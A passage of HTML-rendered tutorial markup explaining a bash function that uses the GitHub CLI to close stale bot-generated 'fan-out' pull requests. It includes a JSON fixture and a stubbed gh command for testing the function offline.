style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    --title&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;adopt brand v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    --body&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;Generated by the brand fan-out. Nothing here is hand-edited.&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two properties come from that name and are worth keeping. It is unique per release and per base, so nothing collides. And it lives in a namespace, &lt;code&gt;fanout/&lt;/code&gt;, that no human uses, which is what will make automatic closing safe in a minute.&lt;/p&gt;
&lt;h2&gt;Why the stale pull request is not merely redundant&lt;/h2&gt;
&lt;p&gt;Picture a repository that ignored the v0.6.0 pull request. v0.7.0 ships and adds a new target, a generated block in a file that was not covered before. The consumer’s check now verifies every declared target.&lt;/p&gt;
&lt;p&gt;The v0.6.0 pull request still pins v0.6.0. Run its check today and it fails: it does not contain the new block, because the release it pins does not know that block exists. Nothing is wrong with the branch, and rebasing does not help; the pull request is asking for a state that is no longer valid.&lt;/p&gt;
&lt;p&gt;So the repository ends up with several open bot pull requests, most of them red, all of them opened by the same author. Two well-known bots take this seriously enough to build machinery for it. Dependabot “automatically rebases pull requests to resolve any conflicts”, and gives up after 30 days without a merge (&lt;a href=&quot;https://docs.github.com/en/code-security/dependabot/working-with-dependabot/managing-pull-requests-for-dependency-updates&quot;&gt;managing pull requests for dependency updates&lt;/a&gt;). It also caps how many it will have open at once: with the default limit, “If five pull requests with version updates are open, no further pull requests are raised until some of those open requests are merged or closed” (&lt;a href=&quot;https://docs.github.com/en/code-security/reference/supply-chain-security/dependabot-options-reference&quot;&gt;Dependabot options reference&lt;/a&gt;). Stacked bot pull requests are not free; they consume a repository’s real attention budget, and in that case they block the next update outright.&lt;/p&gt;
&lt;h2&gt;Retire the predecessors when you open the successor&lt;/h2&gt;
&lt;p&gt;The rule is narrow on purpose: same base branch, same branch namespace, not the branch just created.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# supersede &amp;#x3C;base&gt; &amp;#x3C;current-branch&gt; &amp;#x3C;version&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Close this base&apos;s earlier fan-out pull requests, with a reason.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;supersede&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  local&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; branch&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; version&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; list&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --state&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --json&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; number,headRefName&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    --jq&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;.[] | select(.headRefName | startswith(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;fanout/brand-v&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;)) | select(.headRefName != &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$branch&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) | .number&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    |&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; while&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; read&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; old_pr&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        [ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$old_pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ] &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; continue&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;  superseding #&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$old_pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;        gh&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; close&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$old_pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; --delete-branch&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;          --comment&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;Superseded by v&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;. An earlier fan-out PR pins a release older than the targets the current one declares, so its check cannot pass.&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; \&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;          ||&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;::warning::could not close #&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$old_pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;      done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://cli.github.com/manual/gh_pr_list&quot;&gt;&lt;code&gt;gh pr list&lt;/code&gt;&lt;/a&gt; does the base filtering server-side with &lt;code&gt;--base&lt;/code&gt;, and &lt;code&gt;--json number,headRefName&lt;/code&gt; with &lt;code&gt;--jq&lt;/code&gt; gets you numbers with no output parsing. &lt;a href=&quot;https://cli.github.com/manual/gh_pr_close&quot;&gt;&lt;code&gt;gh pr close&lt;/code&gt;&lt;/a&gt; takes both flags this needs: &lt;code&gt;--comment&lt;/code&gt; to “Leave a closing comment” and &lt;code&gt;--delete-branch&lt;/code&gt; to “Delete the local and remote branch after close”.&lt;/p&gt;
&lt;p&gt;Call it right after the pull request is created, inside the same per-repository loop:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;open_fanout_pr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$repo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$work&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;supersede&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;fanout/brand-v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}-${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;base&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Use it, then verify it&lt;/h2&gt;
&lt;p&gt;The dangerous part of this function is what it closes, so test it against a fixture instead of a live repository. Save five open pull requests, four of them from previous fan-outs across two base branches, one of them a human’s:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;number&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;41&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;baseRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,  &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;headRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fanout/brand-v0.6.0-dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;number&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;42&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;baseRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;headRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fanout/brand-v0.6.0-main&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;number&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;57&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;baseRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,  &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;headRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fanout/brand-v0.7.0-dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;number&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;58&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;baseRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;main&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;headRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;fanout/brand-v0.7.0-main&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;number&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;60&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;baseRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,  &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;headRefName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;feature/unrelated-work&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then stub &lt;code&gt;gh&lt;/code&gt; so the real &lt;code&gt;--jq&lt;/code&gt; expression still runs, and nothing touches the network:&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;#!/usr/bin/env bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;set&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -euo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; pipefail&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; ./supersede.sh&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# stub gh: `pr list --base` is filtered here the way the real command filters it&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# server-side; the --jq expression is the real one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;gh&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; $2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;pr list&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    local&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; expr&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; base&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    while&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;$#&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; -gt&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;do&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      [ &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;--jq&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ] &amp;#x26;&amp;#x26; expr&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;      [ &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;--base&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ] &amp;#x26;&amp;#x26; base&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      shift&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    done&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    jq&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -c&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;[ .[] | select(.baseRefName == &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$base&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;) ]&quot;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; open-prs.json&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; |&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; jq&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; -r&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$expr&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  elif&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [ &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; $2&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;pr close&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ]; &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;  closed #&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;$3&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  fi&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;opening fanout/brand-v0.8.0-dev against dev&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;supersede&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; dev&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;fanout/brand-v0.8.0-dev&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; 0.8.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;echo&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;opening fanout/brand-v0.8.0-main against main&quot;&lt;/span&gt;&lt;/span&gt;
